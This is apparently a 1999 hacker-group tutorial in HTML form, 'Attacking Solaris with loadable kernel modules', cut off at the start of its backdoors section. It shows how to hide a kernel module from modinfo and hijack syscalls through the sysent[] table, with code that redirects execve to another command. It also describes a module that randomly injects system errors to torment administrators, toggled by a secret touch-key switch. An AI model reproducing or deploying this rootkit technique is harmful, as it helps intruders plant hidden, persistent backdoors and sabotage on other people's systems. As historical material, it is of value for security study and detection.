slkm-1.0.html 55 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025
  1. <!doctype html public "-//w3c//dtd html 4.0 transitional//en">
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  5. <meta name="GENERATOR" content="Mozilla/4.6 [en] (X11; I; SunOS 5.7 i86pc) [Netscape]">
  6. </head>
  7. <body text="#000000" bgcolor="#FFFFFF" link="#0000EF" vlink="#51188E" alink="#FF0000">
  8. &nbsp;
  9. <br>&nbsp;
  10. <center><table COLS=1 WIDTH="100%" NOSAVE >
  11. <tr NOSAVE>
  12. <td NOSAVE>
  13. <center><font size=+3>Solaris Loadable Kernel Modules</font>
  14. <br><i>"Attacking Solaris with loadable kernel modules" - </i>Version 1.0&nbsp;
  15. (c) 1999
  16. <p>Author: Plasmoid &lt;<a href="mailto:plasmoid@pimmel.com">plasmoid@pimmel.com</a>>
  17. / THC
  18. <br>Sources: <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
  19. (flkm.c, anm.c, sitf0.1.c, sitf02.c)
  20. <br>The Hacker's Choice Website: <a href="http://www.thc.org/">http://www.thc.org/</a></center>
  21. <p><br>
  22. <br>
  23. <br>
  24. <br>
  25. <br>
  26. <p><font size=+1>Content</font>
  27. <ol>1&nbsp;&nbsp; Introduction
  28. <br>2&nbsp;&nbsp; (Un)Loading of kernel modules
  29. <br>3&nbsp;&nbsp; Basic structure of kernel modules under Solaris
  30. <ol>3.1&nbsp;&nbsp; Standard headers and structs
  31. <br>3.2&nbsp;&nbsp; Hiding the module
  32. <br>3.3&nbsp;&nbsp; _init(), _fini() and _info() calls
  33. <br>3.4&nbsp;&nbsp; Compiling and linking modules
  34. <br>--->&nbsp;&nbsp; Module: flkm.c</ol>
  35. 4&nbsp;&nbsp; Redirecting syscalls and managing memory
  36. <ol>4.1&nbsp;&nbsp; Syscalls under Solaris
  37. <br>4.2&nbsp;&nbsp; Generating errno messages
  38. <br>4.3&nbsp;&nbsp; Allocating kernel memory
  39. <br>--->&nbsp;&nbsp; Module: anm.c</ol>
  40. 5&nbsp;&nbsp; Implementing the common backdoors
  41. <ol>5.1&nbsp;&nbsp; Hiding files from getdents64()
  42. <br>5.2&nbsp;&nbsp; Hiding directories and file content
  43. <br>5.3&nbsp;&nbsp; Generating a remote switch
  44. <br>5.4&nbsp;&nbsp; Hiding processes (proc file system approach)
  45. <br>--->&nbsp;&nbsp; Module: sitf0.1.c&nbsp;
  46. <br>5.5&nbsp;&nbsp; Redirecting an execve() call
  47. <br>5.6&nbsp;&nbsp; Hiding processes (structured proc approach)
  48. <br>--->&nbsp;&nbsp; Module: sitf0.2.c</ol>
  49. 6&nbsp;&nbsp; Future plans
  50. <br>7&nbsp;&nbsp; Closing words</ol>
  51. <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
  52. <br>&nbsp;
  53. <p><font size=+1>1&nbsp;&nbsp; Introduction</font>
  54. <blockquote>Loadable kernel modules represent an important part of the
  55. kernel architecture. They provide an interface to hardware devices and
  56. data within the kernel memory. Most Unix systems enforce the usage of loadable
  57. kernel modules in order to offer maximum interaction with the peripherials
  58. and the kernel.&nbsp;
  59. <br>Due to those features, kernel modules have gained the interest of intruders,
  60. since they affect the operating system at the basic level and guarantee
  61. an efficient and hard to detect way to manipulate the system. In the past
  62. years loadable kernel modules including backdoors have been published for
  63. Unix systems such as Linux and FreeBSD. This article describes the technologies
  64. used to develop backdoored modules for the operating system Solaris 2.7
  65. (Sparc/Intel).
  66. <br>The modules conributed with this article have not been tested on Solaris
  67. 2.6 (Sparc), if you are interested
  68. in testing these modules, please contact <a href="mailto:plasmoid@pimmel.com">me</a>.
  69. <br>Eventhough most sources listed in this article haven been tested on
  70. several computers running Solaris 2.7 (Ultra Sparc/Sparc/x86) and
  71. Solaris 2.6 (Ultra Sparc), they might crash or even destroy
  72. your system, therefore use all modules from the <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
  73. tarball with care. The modules have not been tested using Sun's C Compiler,
  74. instead we used the free Gnu C Compiler - available from <a href="http://www.sunfreeware.com/">sunfreeware.com</a>.
  75. <br>This article and its sources are designed for educational puroses only,
  76. I strongly advise you not to use any modules provided with this article
  77. on systems you do not own or aren't allowed to manipulate.</blockquote>
  78. <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
  79. <br>&nbsp;
  80. <p><font size=+1>2&nbsp;&nbsp; (Un)Loading of kernel modules</font>
  81. <blockquote>Most parts of Solaris' functionality are realized using kernel
  82. modules (e.g. ip/tcp, scsi, ufs), tools from other vendors or authors use
  83. this mechanism too (e.g. ipf, pppd, oss), you can get a list of all loaded
  84. and (in)active modules by using the command <tt>/usr/sbin/modinfo.</tt>
  85. <blockquote><tt># modinfo</tt>
  86. <br><tt>&nbsp;Id Loadaddr&nbsp;&nbsp; Size Info Rev Module Name</tt>
  87. <br><tt>&nbsp; 4 fe8c6000&nbsp;&nbsp; 313e&nbsp;&nbsp; 1&nbsp;&nbsp; 1&nbsp;
  88. specfs (filesystem for specfs)</tt>
  89. <br><tt>&nbsp; 6 fe8ca414&nbsp;&nbsp; 2258&nbsp;&nbsp; 1&nbsp;&nbsp; 1&nbsp;
  90. TS (time sharing sched class)</tt>
  91. <br><tt>&nbsp; 7 fe8cc228&nbsp;&nbsp;&nbsp; 4a2&nbsp;&nbsp; -&nbsp;&nbsp;
  92. 1&nbsp; TS_DPTBL (Time sharing dispatch table)</tt>
  93. <br><tt>&nbsp; 8 fe8cc27c&nbsp;&nbsp;&nbsp; 194&nbsp;&nbsp; -&nbsp;&nbsp;
  94. 1&nbsp; pci_autoconfig (PCI BIOS interface)</tt>
  95. <br><tt>#</tt></blockquote>
  96. <tt>Id</tt> is the module-id, <tt>Loadaddr </tt>is the starting text address
  97. in hexadecimal, <tt>Size</tt> is the size of text, data, and bss in hexadecimal
  98. bytes, <tt>Info</tt> is module specific information, <tt>Rev</tt> is the
  99. revision of the loadable modules system, and<tt> Module Name</tt> is the
  100. filename and description of the module.&nbsp;
  101. <br>Device driver or pseudo device driver modules include an <tt>Info</tt>
  102. number, modules which do not communicate with a device do not include this
  103. information. These modules are declared as "misc" (<tt>&amp;mod_miscops</tt>)
  104. modules. Since we are developing a kernel module for an attacking approach,
  105. we will later generate such a miscellaneous module.
  106. <p>In order to load or unload kernel modules, you can use the two commands
  107. <tt>/usr/sbin/modload
  108. </tt>and<tt>
  109. /usr/sbin/modunload. </tt>Modload's command line is the name of a module
  110. and modunload's command line "<tt>-i ID</tt>" the <tt>Id </tt>of a loaded
  111. module (see modinfo above.).&nbsp;
  112. <blockquote><tt># modinfo -i 125</tt>
  113. <br><tt>&nbsp;Id Loadaddr&nbsp;&nbsp; Size Info Rev Module Name</tt>
  114. <br><tt>125 fe95959c&nbsp;&nbsp;&nbsp; 125&nbsp;&nbsp; -&nbsp;&nbsp; 1&nbsp;
  115. flkm (First Loadable Kernel Module)</tt>
  116. <br><tt># modunload -i 125</tt></blockquote>
  117. Solaris includes a lot of good man pages dealing with kernel modules, (un)loading,
  118. information and even programming. You should take a look at those, but
  119. don't get confused the example code within "man _init" compiles but does
  120. not load. If you have access to Solaris' AnswerBook2 take a look at the
  121. sections describing the development of device drivers.</blockquote>
  122. <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
  123. <br>&nbsp;
  124. <p><font size=+1>3&nbsp;&nbsp; Basic structure of kernel modules under
  125. Solaris</font>
  126. <blockquote>Kernel modules under Solaris need a lot of definied variables
  127. in order to get loaded into the system, this is a major difference to Linux
  128. kernel modules that can easily be created by just using an <tt>init_module()
  129. </tt>and
  130. <tt>cleanup_module()</tt>
  131. call. Take a look at pragmatic's articles about kernel modules for <a href="LKM_HACKING.html">Linux</a>
  132. and <a href="bsdkern.html">FreeBSD</a>.</blockquote>
  133. <font size=+1>3.1&nbsp;&nbsp; Standard headers and structs</font>
  134. <blockquote>Eventhough we don't want to develop a device driver module,
  135. we have to include the DDI, SunDDI and the modctl headers that provide
  136. us with structs as <tt>modlinkage</tt> and <tt>mod_ops</tt>. The first
  137. lines of a module look like this:
  138. <blockquote><tt>#include &lt;sys/ddi.h></tt>
  139. <br><tt>#include &lt;sys/sunddi.h></tt>
  140. <p><tt>/*</tt>
  141. <br><tt>&nbsp;* This is the loadable module wrapper.</tt>
  142. <br><tt>&nbsp;*/</tt>
  143. <br><tt>#include &lt;sys/modctl.h></tt>
  144. <p><tt>extern struct mod_ops mod_miscops;</tt>
  145. <p><tt>/*</tt>
  146. <br><tt>&nbsp;* Module linkage information for the kernel.</tt>
  147. <br><tt>&nbsp;*/</tt>
  148. <br><tt>static struct modlmisc modlmisc = {</tt>
  149. <br><tt>&nbsp;&nbsp;&nbsp; &amp;mod_miscops,</tt>
  150. <br><tt>&nbsp;&nbsp;&nbsp; "First Loadable Kernel Module",</tt>
  151. <br><tt>};</tt>
  152. <p><tt>static struct modlinkage modlinkage = {</tt>
  153. <br><tt>&nbsp;&nbsp;&nbsp; MODREV_1,</tt>
  154. <br><tt>&nbsp;&nbsp;&nbsp; (void *)&amp;modlmisc,</tt>
  155. <br><tt>&nbsp;&nbsp;&nbsp; NULL</tt>
  156. <br><tt>};</tt></blockquote>
  157. As you can see, we include some external structs into the module and define
  158. the name of the kernel module inside the <tt>modlmisc</tt> struct. The
  159. <tt>modlinkage</tt>
  160. struct references <tt>modlmisc</tt> and tells the kernel that this is not
  161. a device driver module and that no info flag is displayed by <tt>modinfo</tt>.
  162. If you want to go into the details of these structs and maybe develop device
  163. or pseudo device driver module, take a look at the following man pages:
  164. modldrv(9S), modlinkage(9S) and modlstrmod(9S). If you just want to understand
  165. the backdoored modules in this article, simply read on.</blockquote>
  166. <font size=+1>3.2&nbsp;&nbsp; Hiding the module</font>
  167. <blockquote>If we change the name of the kernel module to an empty string
  168. ("") in the <tt>modlmisc</tt> struct, <tt>modinfo</tt> will not display
  169. the module, eventhough it is loaded and its <tt>Id</tt> is reserved. This
  170. is a useful feature for hiding the module and the module can still be unloaded
  171. if you know its Id. Grabbing this <tt>Id</tt> is simple, if you take a
  172. look at the modules <tt>Id</tt>s before loading the module and later after
  173. some other modules have been loaded.
  174. <blockquote><tt># modinfo</tt>
  175. <br><tt>&nbsp;Id Loadaddr&nbsp;&nbsp; Size Info Rev Module Name</tt>
  176. <br>[...]
  177. <br><tt>122 fe9748e8&nbsp;&nbsp;&nbsp; e08&nbsp; 13&nbsp;&nbsp; 1&nbsp;
  178. ptem (pty hardware emulator)</tt>
  179. <br><tt>123 fe983fd8&nbsp;&nbsp;&nbsp; 1c0&nbsp; 14&nbsp;&nbsp; 1&nbsp;
  180. redirmod (redirection module)</tt>
  181. <br><tt>124 fe9f60a4&nbsp;&nbsp;&nbsp; cfc&nbsp; 15&nbsp;&nbsp; 1&nbsp;
  182. bufmod (streams buffer mod)</tt>
  183. <br><tt># modload flkm</tt>
  184. <br>&nbsp;
  185. <p><tt># modinfo</tt>
  186. <br><tt>&nbsp;Id Loadaddr&nbsp;&nbsp; Size Info Rev Module Name</tt>
  187. <br>[...]
  188. <br><tt>122 fe9748e8&nbsp;&nbsp;&nbsp; e08&nbsp; 13&nbsp;&nbsp; 1&nbsp;
  189. ptem (pty hardware emulator)</tt>
  190. <br><tt>123 fe983fd8&nbsp;&nbsp;&nbsp; 1c0&nbsp; 14&nbsp;&nbsp; 1&nbsp;
  191. redirmod (redirection module)</tt>
  192. <br><tt>124 fe9f60a4&nbsp;&nbsp;&nbsp; cfc&nbsp; 15&nbsp;&nbsp; 1&nbsp;
  193. bufmod (streams buffer mod)</tt>
  194. <br><tt>126 fe9f8e5c&nbsp;&nbsp; 8e3c&nbsp; 13&nbsp;&nbsp; 1&nbsp; pcfs
  195. (filesystem for PC)</tt>
  196. <br><tt>127 fea018d4&nbsp;&nbsp; 19e1&nbsp;&nbsp; -&nbsp;&nbsp; 1&nbsp;
  197. diaudio (Generic Audio)</tt>
  198. <br><tt>128 fe94aed0&nbsp;&nbsp;&nbsp; 5e3&nbsp; 72&nbsp;&nbsp; 1&nbsp;
  199. ksyms (kernel symbols driver)</tt>
  200. <br>&nbsp;</blockquote>
  201. </blockquote>
  202. <blockquote>As you can see the <tt>Id 125</tt> is obviously not reserved
  203. and we loaded our kernel module into the memory with no name string in
  204. the <tt>modlmisc</tt> struct. If we want to unload it now, we can easily
  205. do this by unloading the <tt>Id 125</tt>. Those unreserved <tt>Id</tt>s
  206. can be found in a <tt>modinfo</tt> listing at different places, but due
  207. to the fact that <tt>modunload</tt> won't return an error if you try to
  208. unload a non existing module, nobody can detect our module by using <tt>modinfo</tt>
  209. or <tt>modunload</tt>. The second version of this article will include
  210. mechanisms to completely protect a module from being listed and unloaded.
  211. This can only be done by patching the Solaris module ksyms that lists and
  212. manages all kernel symbols. Even if this protection leaving the module's
  213. name blank is weak, it will fit your needs, if the system administrator
  214. is not a real system programmer.</blockquote>
  215. <font size=+1>3.3&nbsp;&nbsp; _init(), _fini() and _info() calls</font>
  216. <blockquote>A kernel module under Solaris must include at least the following
  217. three functions: <tt>_init()</tt>, <tt>_fini()</tt> and <tt>_info()</tt>.
  218. <tt>_init()
  219. </tt>initializes
  220. a loadable module, it is called before any other routine in a loadable
  221. module. Within an <tt>_init()</tt> call you need to call another function
  222. called <tt>mod_install()</tt> that takes the <tt>modlinkage</tt> struct
  223. as an argument. <tt>_init()</tt> returns the value returned by mod_install().
  224. The returned value should be interpreted in order to catch errors while
  225. loading the module.
  226. <blockquote><tt>int _init(void)</tt>
  227. <br><tt>{</tt>
  228. <br><tt>&nbsp;&nbsp;&nbsp; int i;</tt>
  229. <p><tt>&nbsp;&nbsp;&nbsp; if ((i = mod_install(&amp;modlinkage)) != 0)</tt>
  230. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"Could
  231. not install module\n");</tt>
  232. <br><tt>&nbsp;&nbsp;&nbsp; else</tt>
  233. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"flkm:
  234. successfully installed");</tt>
  235. <p><tt>&nbsp;&nbsp;&nbsp; return i;</tt>
  236. <br><tt>}</tt></blockquote>
  237. The <tt>_info()</tt> function returns information about a loadable module,
  238. within this function the call <tt>mod_info() </tt>has to be made. If we
  239. use an empty name in the <tt>modinfo</tt> struct <tt>mod_info()</tt> will
  240. return no information to <tt>/usr/sbin/modinfo</tt>.&nbsp;
  241. <blockquote><tt>int _info(struct modinfo *modinfop)</tt>
  242. <br><tt>{</tt>
  243. <br><tt>&nbsp;&nbsp;&nbsp; return (mod_info(&amp;modlinkage, modinfop));</tt>
  244. <br><tt>}</tt></blockquote>
  245. <tt>_fini()</tt> prepares a loadable module for unloading. It is called
  246. when the system wants to unload a module. Within <tt>_fini() </tt>a call
  247. to<tt> mod_remove()</tt> has to be placed. It is also wise to catch the
  248. return values in order to report errors while unloading the module.
  249. <blockquote><tt>int _fini(void)</tt>
  250. <br><tt>{</tt>
  251. <br><tt>&nbsp;&nbsp;&nbsp; int i;</tt>
  252. <p><tt>&nbsp;&nbsp;&nbsp; if ((i = mod_remove(&amp;modlinkage)) != 0)</tt>
  253. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"Could
  254. not remove module\n");</tt>
  255. <br><tt>&nbsp;&nbsp;&nbsp; else</tt>
  256. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"flkm:
  257. successfully removed");</tt>
  258. <p><tt>&nbsp;&nbsp;&nbsp; return i;</tt>
  259. <br><tt>}</tt></blockquote>
  260. A good documentation about these calls can be found in the following Solaris
  261. man pages: <tt>_info(9E)</tt> and <tt>mod_install(9F)</tt>. If you are
  262. calling <tt>cmn_err()</tt> with <tt>CE_NOTE</tt> as level from a running
  263. module the output will be printed to your syslogd as a notice. <tt>cmn_err()</tt>
  264. is function to output information from kernel memory, it can also be used
  265. to set run levels if you are debugging your module.</blockquote>
  266. <font size=+1>3.4 Compiling and linking modules</font>
  267. <blockquote>Compiling a module is very simple, all you need to set are
  268. some definitions that tell the included code this will be a kernel module
  269. and not a normal executable. You should always link your module's object
  270. file with the "-r" option otherwise the module will not load, because
  271. the kernel module linker will not be able to link the module.
  272. <blockquote><tt>gcc -D_KERNEL -DSVR4 -DSOL2 -O2 -c flkm.c</tt>
  273. <br><tt>ld -o flkm -r flkm.o</tt></blockquote>
  274. The Solaris kernel does not include as many standard C function as the
  275. Linux kernel, if you want to use some of those standard libC functions,
  276. extract them from the libc.a archive in /lib and link them to your module
  277. using the <tt>ar</tt> command. If you are one of those lucky guys owning
  278. the Solaris 2.7 source and knowing where to find what you are looking for
  279. inside the weird source of Solaris, include the original source of the
  280. extracted objects.
  281. <blockquote><tt>ar -x /lib/libc.a memmove.o memcpy.o strstr.o</tt>
  282. <br><tt>ld -o flkm -r flkm.o memmove.o memcpy.o strstr.o</tt></blockquote>
  283. In my examples I included a switch called <tt>DEBUG</tt>, this switch will
  284. activate a lot of debug outputs, if you are one of those nasty hackers
  285. don't forget to undefine <tt>DEBUG</tt> in the code or configure the Makefile.
  286. <tt>DEBUG
  287. </tt>is
  288. a very common definition if working with kernel modules, there are some
  289. kernel functions that might help you debugging, e.g. <tt>ASSERT()</tt>.</blockquote>
  290. <font size=+1>-->&nbsp;&nbsp; Module: flkm.c</font>
  291. <blockquote>The Module flkm.c (First Loadable Kernel Module) from the package
  292. <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
  293. demonstrates the techniques described in sections 3.1-3.4 and represents
  294. an empty working module that should be easily loadable into the kernel.</blockquote>
  295. <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
  296. <br>&nbsp;
  297. <p><font size=+2>4&nbsp;&nbsp; </font><font size=+1>Redirecting syscalls
  298. and managing memory</font>
  299. <blockquote>Redirecting syscalls is one of the important things if you
  300. write backdoored kernel modules, instead of developing your own functions,
  301. you redirect the common syscalls to your fake syscalls that will do what
  302. ever you want. If you want to get an idea of what can be done using faked
  303. syscalls take a look at pragmatic's article at <a href="http://www.thc.org/">www.thc.org</a>.&nbsp;</blockquote>
  304. <font size=+2>4.1&nbsp;&nbsp; </font><font size=+1>Syscalls under Solaris</font>
  305. <blockquote>Syscalls under Solaris are stored in an array <tt>sysent[]
  306. </tt>each
  307. entry is a structure that hold information about a syscall. The values
  308. for all syscalls can be found in the file <tt>/usr/include/sys/syscall.h</tt>.
  309. If you take a closer look at the list of syscalls, you will recognize that
  310. there are some major differences to the Linux syscall header file. So be
  311. careful if you try to port a Linux kernel module to Solaris.&nbsp;
  312. <br>The syscalls
  313. <tt>open()</tt>,
  314. <tt>creat()</tt>, etc are not used for
  315. filesystem functions, instead the following calls are used
  316. <tt>open64()</tt>,
  317. <tt>creat64()</tt>,
  318. etc. Before you try to redirect a syscall under Solaris use the tool <tt>/usr/bin/truss</tt>
  319. to trace the syscalls of the programm that uses your syscalls, e.g. <tt>ps</tt>
  320. uses the <tt>open() </tt>call to check the files inside the proc tree while
  321. <tt>cat</tt>
  322. uses the <tt>open64()
  323. </tt>to open a file from the filesystems even if
  324. it is within the proc tree. Let's look at some example code:
  325. <blockquote><tt>int (*oldexecve) (const char *, const char *[], const char
  326. *[]);</tt>
  327. <br><tt>int (*oldopen64) (const char *path, int oflag, mode_t mode);</tt>
  328. <br><tt>int (*oldread) (int fildes, void *buf, size_t nbyte);</tt>
  329. <br><tt>int (*oldcreat64) (const char *path, mode_t mode);</tt>
  330. <br>[...]
  331. <p><tt>int newcreat64(const char *path, mode_t mode)&nbsp;</tt>
  332. <br><tt>{</tt>
  333. <br>[...]
  334. <p><tt>int _init(void)</tt>
  335. <br><tt>{</tt>
  336. <br><tt>&nbsp;&nbsp;&nbsp; int i;</tt>
  337. <p><tt>&nbsp;&nbsp;&nbsp; if ((i = mod_install(&amp;modlinkage)) != 0)</tt>
  338. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"Could
  339. not install module\n");</tt>
  340. <br><tt>#ifdef DEBUG</tt>
  341. <br><tt>&nbsp;&nbsp;&nbsp; else</tt>
  342. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"anm:
  343. successfully installed");</tt>
  344. <br><tt>#endif</tt>
  345. <p><tt>&nbsp;&nbsp;&nbsp; oldexecve = (void *) sysent[SYS_execve].sy_callc;</tt>
  346. <br><tt>&nbsp;&nbsp;&nbsp; oldopen64 = (void *) sysent[SYS_open64].sy_callc;</tt>
  347. <br><tt>&nbsp;&nbsp;&nbsp; oldcreat64 = (void *) sysent[SYS_creat64].sy_callc;</tt>
  348. <br><tt>&nbsp;&nbsp;&nbsp; oldread = (void *) sysent[SYS_read].sy_callc;</tt>
  349. <p><tt>&nbsp;&nbsp;&nbsp; sysent[SYS_execve].sy_callc = (void *) newexecve;</tt>
  350. <br><tt>&nbsp;&nbsp;&nbsp; sysent[SYS_open64].sy_callc = (void *) newopen64;</tt>
  351. <br><tt>&nbsp;&nbsp;&nbsp; sysent[SYS_creat64].sy_callc = (void *) newcreat64;</tt>
  352. <br><tt>&nbsp;&nbsp;&nbsp; sysent[SYS_read].sy_callc = (void *) newread;</tt>
  353. <p><tt>&nbsp;&nbsp;&nbsp; return i;</tt>
  354. <br><tt>}</tt></blockquote>
  355. This is an _init() call described in 3.3, after initializing the module
  356. we copy the pointers of the old syscalls that are stored in the member
  357. <tt>.sy_callc
  358. </tt>to
  359. some pointers we defined at the top of our module. This is done exactly
  360. as with all Linux kernel modules.
  361. <br>After we have saved the old pointers we copy pointers of our new syscalls
  362. (in this case: <tt>int newcreat64(const char *path,mode_t mode</tt>) to
  363. the pointers in the <tt>sysent[] </tt>array<tt>.</tt></blockquote>
  364. <font size=+1>4.2&nbsp;&nbsp; Generating errno messages</font>
  365. <blockquote>I have seen some loadable kernel modules that generate error
  366. message a way that wont work under Solaris, the so called error numbers
  367. listed in <tt>/usr/include/sys/errno.h</tt> should not be returned by function
  368. using the following code:
  369. <blockquote><tt>return -ENOENT;</tt></blockquote>
  370. Eventhough this code will work since a negative value is returned it does
  371. not tell Solaris what kind of error appeared, instead the following code
  372. using the syscall <tt>set_errno()</tt> is the correct solution.
  373. <blockquote><tt>set_errno(ENOENT);</tt>
  374. <br><tt>return -1;</tt></blockquote>
  375. You really should tell your operating system what is going wrong even if
  376. you produce a fake error message.&nbsp;</blockquote>
  377. <font size=+1>4.3&nbsp;&nbsp; Allocating kernel memory</font>
  378. <blockquote>When working inside the kernel, you cannot allocate memory
  379. using the function <tt>alloc()</tt> or <tt>malloc()</tt> due to the fact
  380. that the kernel memory is strictly seperated from the user memory. Solaris
  381. provides to function for allocating and freeing kernel memory.
  382. <blockquote><tt>name = (char *) kmem_alloc(size, KM_SLEEP);</tt></blockquote>
  383. <tt>kmem_alloc()</tt> allocates <tt>size</tt> bytes of kernel memory and
  384. returns a pointer to the allocated memory. The allocated memory is at least
  385. double-word aligned, so it can hold any C data structure. No greater alignment
  386. can be assumed. The second parameter determines whether the caller can
  387. sleep for memory. <tt>KM_SLEEP</tt> allocations may sleep but are guaranteed
  388. to succeed. <tt>KM_NOSLEEP</tt> allocations are guaranteed not to sleep
  389. but&nbsp; may fail&nbsp; (return <tt>NULL</tt>) if no memory is currently
  390. available. <tt>KM_NOSLEEP</tt> using <tt>kmem_alloc()</tt> should only be
  391. used from interrupt context, it should not be called otherwise.
  392. The initial contents of memory allocated using <tt>kmem_alloc()
  393. </tt>are
  394. random garbage.
  395. <br>The allocated kernel memory has to be freed using the function <tt>kmem_free(size)</tt>,
  396. while size is the size of the allocated memory. Be careful, if you are
  397. freeing more memory as you allocated major problems will occur, since unwanted
  398. parts of the kernel get freed.
  399. <p>As I started coding this module I didn't care about the transfer between
  400. user and kernel memory. On Solaris 2.7 (x86) a <tt>memcpy()</tt> successfully
  401. solved this task and there was no need for special commands. But on Solaris
  402. (Sparc) this lousy way of transfering data didn't work at all. For a proper
  403. transfer use the functions<tt> copyin() </tt>and<tt> copyout()</tt> that
  404. provide a way to transfer data from kernel memory (device module memory)
  405. and user memory.&nbsp;
  406. <br>If you want to copy null-terminated strings from userspace to kernel
  407. memory use the command <tt>copyinstr()</tt>, that has the following
  408. prototype
  409. <tt>copyinstr(char *src, char *dst, size_t length, size_t size)</tt>. <tt>length</tt>
  410. describes how many bytes to read while <tt>size</tt> is the value of actually
  411. read bytes.
  412. <br>A complete description of these functions can be found in the following
  413. Solaris man pages: kmem_alloc(9F), copyin(9F) and copyout(9F). Here is
  414. a small example:
  415. <blockquote><tt>&nbsp;&nbsp;&nbsp; name = (char *) kmem_alloc(256, KM_SLEEP);</tt>
  416. <br><tt>&nbsp;&nbsp;&nbsp; copyin(filename, name, 256);</tt>
  417. <br><tt>&nbsp;&nbsp;&nbsp; if (!strcmp(name, (char *) oldcmd)) {</tt>
  418. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copyout((char *) newcmd,
  419. (char *) filename, strlen(newcmd) + 1);</tt>
  420. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"sitf:
  421. executing %s instead of %s", newcmd, name);</tt>
  422. <br><tt>&nbsp;&nbsp;&nbsp; }</tt></blockquote>
  423. If you don't need to allocate kernel memory, e.g. if you are just comparing
  424. some values, you might use also the <tt>memcpy()</tt> function, but be
  425. adviced memcpy doesnot work on Ultra Sparc. Use <tt>copyinstr()</tt> in
  426. order to copy null terminated strings to kernel memory where you can compare
  427. them. copyinstr(char *src, char *dst, size_t n, size_t n)</blockquote>
  428. <font size=+1>-->&nbsp;&nbsp; Module: anm.c</font>
  429. <blockquote>As an example I included the module anm.c (Administrator's
  430. NightMare) from the package
  431. <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>,
  432. this is not a very intelligent module - instead of backdooring the system,
  433. this module randomly generates system errors on the following syscalls:
  434. <tt>execve(),open64()</tt>
  435. and <tt>read()</tt>. The period of the random errors can be set with these
  436. three variables:
  437. <blockquote><tt>int open_rate = 200;</tt>
  438. <br><tt>int read_rate = 8000;</tt>
  439. <br><tt>int exec_rate = 400;</tt></blockquote>
  440. The values have been tested on a client station. The system behaves quite
  441. normal, but from time to time a small error appears that won't interest
  442. an admin. The system will just look like one of those badly configured
  443. cheap Solaris (but actually it isn't).&nbsp;
  444. <br>To activate or deactivate the errors I developed a switching mechanism,
  445. I will explain the technique later in 5.3, first of all here is the usage
  446. from the command line when the module is loaded.
  447. <blockquote><tt>touch my_stupid_key</tt></blockquote>
  448. This command enables or disables the functions of the anm.c module, if
  449. you used the correct key that has been defined inside the module you will
  450. get an error message instead of a touched "my_stupid_key" file.&nbsp;</blockquote>
  451. <hr SIZE=1 NOSHADE WIDTH="100%">
  452. <br>&nbsp;
  453. <p><font size=+1>5&nbsp;&nbsp; Implementing the common backdoors</font>
  454. <blockquote>Most ideas of the backdoors I implemented have been taken from
  455. plaguez's itf.c module and the article written by pragmatic (see 7 References),
  456. some of them could be implemented as they are, other routines had to be
  457. rewritten and some had to be coded from scratch.
  458. <br>If you take a look at the modules sitf0.1.c and sitf0.2.c from the
  459. package <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
  460. you will find backdoors that are not described in this article, these function
  461. could be ported without any problem from Linux or FreeBSD modules. I think
  462. they have been documented in several other articles already.</blockquote>
  463. <font size=+1>5.1&nbsp;&nbsp; Hiding files from getdents64()</font>
